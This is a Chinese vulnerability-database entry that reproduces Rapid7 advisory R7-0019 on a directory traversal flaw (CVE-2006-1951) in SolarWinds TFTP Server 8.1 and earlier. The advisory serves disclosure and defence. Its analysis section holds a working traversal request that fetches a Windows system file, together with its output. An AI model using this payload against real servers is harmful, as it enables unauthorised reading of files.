SolarWinds TFTP Server目录遍历漏洞

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漏洞ID 1195250 漏洞类型 路径遍历
发布时间 2006-04-21 更新时间 2006-04-21
CVE编号 CVE-2006-1951 CNNVD-ID CNNVD-200604-432
漏洞平台 N/A CVSS评分 5.0
|漏洞来源
https://www.securityfocus.com/bid/17648
https://cxsecurity.com/issue/WLB-2006040099
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200604-432
|漏洞详情
SolarWindsTFTP服务程序可以同时发送和接收多个文件,常用于下载/上传路由器、交换机等可执行映象和配置文件。TFTPServer对大多数类似于"../filename"的请求文件名都会进行过滤,但可通过控制文件名来绕过过滤,然后下载系统上的任意文件。
|漏洞EXP
_______________________________________________________________________
                     Rapid7, LLC Security Advisory
_______________________________________________________________________

Rapid7 Advisory R7-0019
Directory traversal vulnerability in SolarWinds TFTP Server for Windows

Date:  April 21, 2006
   Revision:   1.0
   http://www.rapid7.com/advisories/R7-0019.html

CVE: CVE-2006-1951

1. Affected system(s):

KNOWN VULNERABLE:
    o SolarWinds TFTP Server v8.1 and earlier

KNOWN FIXED:
    o SolarWinds TFTP Server v8.2

2. Summary

Rapid7 has found a directory traversal vulnerability in SolarWinds
   TFTP Server for Windows.  This vulnerability allows remote users to
   download any files outside of the server's TFTP data directory.

3. Vendor status and information

SolarWinds
   http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/

Vendor was notified of this vulnerability.  The vulnerability
   is not present in the newest version of TFTP Server version 8.2,
   released in September 2005.

4. Solution

Upgrade to TFTP Server version 8.2 or later.

5. Detailed analysis

TFTP servers are often used to transfer configuration files and
   operating system images to routers.  TFTP is also used for devices
   that support PXE booting.

Most implementations do trivial filtering on requested filenames
   such as "../filename" to prevent easy directory traversal.
   However, it is easy to bypass this filtering by manipulating the
   filename being requested.

With the SolarWinds TFTP server, any file on the system can be
   downloaded using a request similar to the following:

$ tftp 192.168.0.1
      tftp> get NUL/....//....//WINNT/win.ini
      Received 582 bytes in 0.0 seconds
      tftp> quit

$ cat win.ini
      ; for 16-bit app support
      [fonts]
      [extensions]
      [mci extensions]
      [files]
      [Mail]
      MAPI=1
      ...

6. Credit

This vulnerability was discovered by Chad Loder of Rapid7.

7. Contact Information

Rapid7, LLC
   Email:   advisory (at) rapid7 (dot) com [email concealed]
   Web:     http://www.rapid7.com/
   Phone:   +1 (617) 247-1717

8. Disclaimer and Copyright

Rapid7, LLC. is not responsible for the misuse of the information
   provided in our security advisories. These advisories are a service
   to the professional security community.  There are NO WARRANTIES
   with regard to this information. Any application or distribution of
   this information constitutes acceptance AS IS, at the user's own
   risk.  This information is subject to change without notice.

This advisory Copyright (C) 2006 Rapid7, LLC.  Permission is
   hereby granted to redistribute this advisory, providing that no
   changes are made and that the copyright notices and disclaimers
   remain intact.
|受影响的产品
SolarWinds TFTP Server Standard Edition 5.0.55 SolarWinds TFTP Server Standard Edition 5.0 .60 SolarWinds TFTP Server 8.1
|参考资料

来源:BID
名称:17648
链接:http://www.securityfocus.com/bid/17648
来源:BUGTRAQ
名称:20060421Rapid7AdvisoryR7-0019:DirectorytraversalvulnerabilityinSolarWindsTFTPServerforWindows
链接:http://www.securityfocus.com/archive/1/archive/1/431729/100/0/threaded
来源:MISC
链接:http://www.rapid7.com/advisories/R7-0019.html
来源:XF
名称:tftp-dotdotdotdot-directory-traversal(25969)
链接:http://xforce.iss.net/xforce/xfdb/25969
来源:VUPEN
名称:ADV-2006-1561
链接:http://www.frsirt.com/english/advisories/2006/1561
来源:SREASON
名称:778
链接:http://securityreason.com/securityalert/778
来源:SECUNIA
名称:19848
链接:http://secunia.com/advisories/19848
来源:VULNWATCH
名称:20060421Rapid7AdvisoryR7-0019:DirectorytraversalvulnerabilityinSolarWindsTFTPServerforWindows
链接:http://archives.neohapsis.com/archives/vulnwatch/2006-q2/0009.html